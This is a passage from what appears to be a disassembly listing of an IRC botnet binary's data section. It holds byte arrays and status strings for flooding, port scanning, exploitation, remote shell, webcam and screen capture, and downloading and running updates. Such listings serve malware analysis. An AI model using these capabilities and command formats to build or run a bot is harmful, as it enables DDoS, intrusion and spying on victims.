1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_435B34 db 2 ; DATA XREF: sub_40EE72+53B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_435B7C db 2 ; DATA XREF: sub_40EE72+5287o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_435BA8 db 2 ; DATA XREF: sub_40EE72+5271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_435BF4 db 2 ; DATA XREF: sub_40EE72+5200o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_435C2C db 2 ; DATA XREF: sub_40EE72:loc_414039o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 10h unk_435C70 db 2 ; DATA XREF: sub_40EE72+5108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_435CE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EC8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_435D1C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EACo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_435D4C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E89o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_435D7C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E6Do dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_435DA4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C5Eo dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 10h dword_435DE0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4DE5o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_435E14 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C11o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_435E4C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4D86o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE5o ; sub_40EE72:loc_414B4Co align 4 dword_435E98 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C6Ao dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_435ECC db 3 ; DATA XREF: sub_40EE72:loc_413AC7o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 10h unk_435F10 db 3 ; DATA XREF: sub_40EE72+4C4Bo db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 4 dword_435F4C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C2Bo dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 10h dword_435F80 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_413A51o dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_435FB8 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4BB4o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_435FE4 db 2 ; DATA XREF: sub_40EE72:loc_4139F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_436024 db 2 ; DATA XREF: sub_40EE72+4B76o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_436058 db 2 ; DATA XREF: sub_40EE72:loc_413992o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_43609C db 2 ; DATA XREF: sub_40EE72+4B19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 dword_4360D4 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+4AD4o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_436100 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4A4Fo dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_436134 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+49D4o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_436158 db 2 ; DATA XREF: sub_40EE72+49B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_4361A4 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE72+4947o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_4361CC dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_413747o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4361F8 db 2 ; DATA XREF: sub_40EE72+48CBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_436224 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+489Ao dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_43624C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+488Fo dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_436288 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+484Fo dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_4362B8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+483Bo dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_4362EC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41363Bo dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_436338 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413631o dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_436388 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+47B5o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 4 dword_4363C4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41358Fo dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 4 dword_43640C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413588o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 10h dword_436450 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4706o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 4 aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FCo align 4 dword_436494 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+467Do dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_4364C8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4647o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413465o dword_436504 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413452o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_43654C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41344Bo dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_436588 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+45C9o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413402o align 4 dword_4365CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4578o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_4365F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4534o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_436634 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4518o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_436668 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4498o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_436694 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4461o dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 10h dword_4366C0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4413o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_4366EC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+43A2o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_436710 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4368o ; sub_40EE72+4E78o dword_43671C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4341o dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4330o align 4 dword_436754 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4307o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_436780 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4299o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_4367AC dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+4241o dword_4367B4 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4214o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_4367E0 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41BBo ; sub_40EE72+4CAFo dword_4367E8 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Co dword_4367F4 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4132o dword_4367FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412F91o dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 10h dword_436840 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+40E8o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4094o align 10h dword_436870 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412EBEo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_436894 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Co ; sub_40EE72+40BFo ... unk_4368A4 db 2 ; DATA XREF: sub_40EE72:loc_412E2Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_4368F8 db 2 ; DATA XREF: sub_40EE72+3FAFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_436944 db 2 ; DATA XREF: sub_40EE72+3F40o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E97o align 4 dword_43698C dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72+3E35o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_4369B4 db 2 ; DATA XREF: sub_40EE72+3E2Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_4369E8 db 2 ; DATA XREF: sub_40EE72+3DA2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_436A34 db 2 ; DATA XREF: sub_40EE72+3D28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_436A74 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_412AFBo ; sub_40EE72:loc_413964o dd 0BBBB0220h, 2002h unk_436A90 db 2 ; DATA XREF: sub_40EE72+3C71o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_436AC4 db 2 ; DATA XREF: sub_40EE72:loc_412AC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_436B0C db 2 ; DATA XREF: sub_40EE72+3C45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_436B54 db 2 ; DATA XREF: sub_40EE72+3BD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 10h unk_436B90 db 2 ; DATA XREF: sub_40EE72+3B4Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 unk_436BD8 db 2 ; DATA XREF: sub_40EE72+3ADFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_436C18 db 2 ; DATA XREF: sub_40EE72+3A57o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_436C60 db 2 ; DATA XREF: sub_40EE72+39E8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 10h dword_436CA0 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+394Ao dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_436CE8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+38D9o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_436D24 db 2 ; DATA XREF: sub_40EE72+3860o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_436D74 db 2 ; DATA XREF: sub_40EE72+37F1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 10h unk_436DB0 db 2 ; DATA XREF: sub_40EE72+371Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_436E04 db 2 ; DATA XREF: sub_40EE72+36B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_436E50 db 2 ; DATA XREF: sub_40EE72+3622o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_436E9C db 2 ; DATA XREF: sub_40EE72+35B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Fo align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3432o align 4 dword_436F08 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A4o ; sub_40EE72+43F1o unk_436F14 db 2 ; DATA XREF: sub_40EE72+3342o ; sub_40EE72+5179o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_436F5C db 2 ; DATA XREF: sub_40EE72+32D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A8o ; sub_40EE72+50DDo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+32A1o ; sub_40EE72+50D6o align 10h unk_436FE0 db 2 ; DATA XREF: sub_40EE72+3163o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_437024 db 2 ; DATA XREF: sub_40EE72+301Ao ; sub_40EE72+4F21o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_437070 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_4370B8 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: 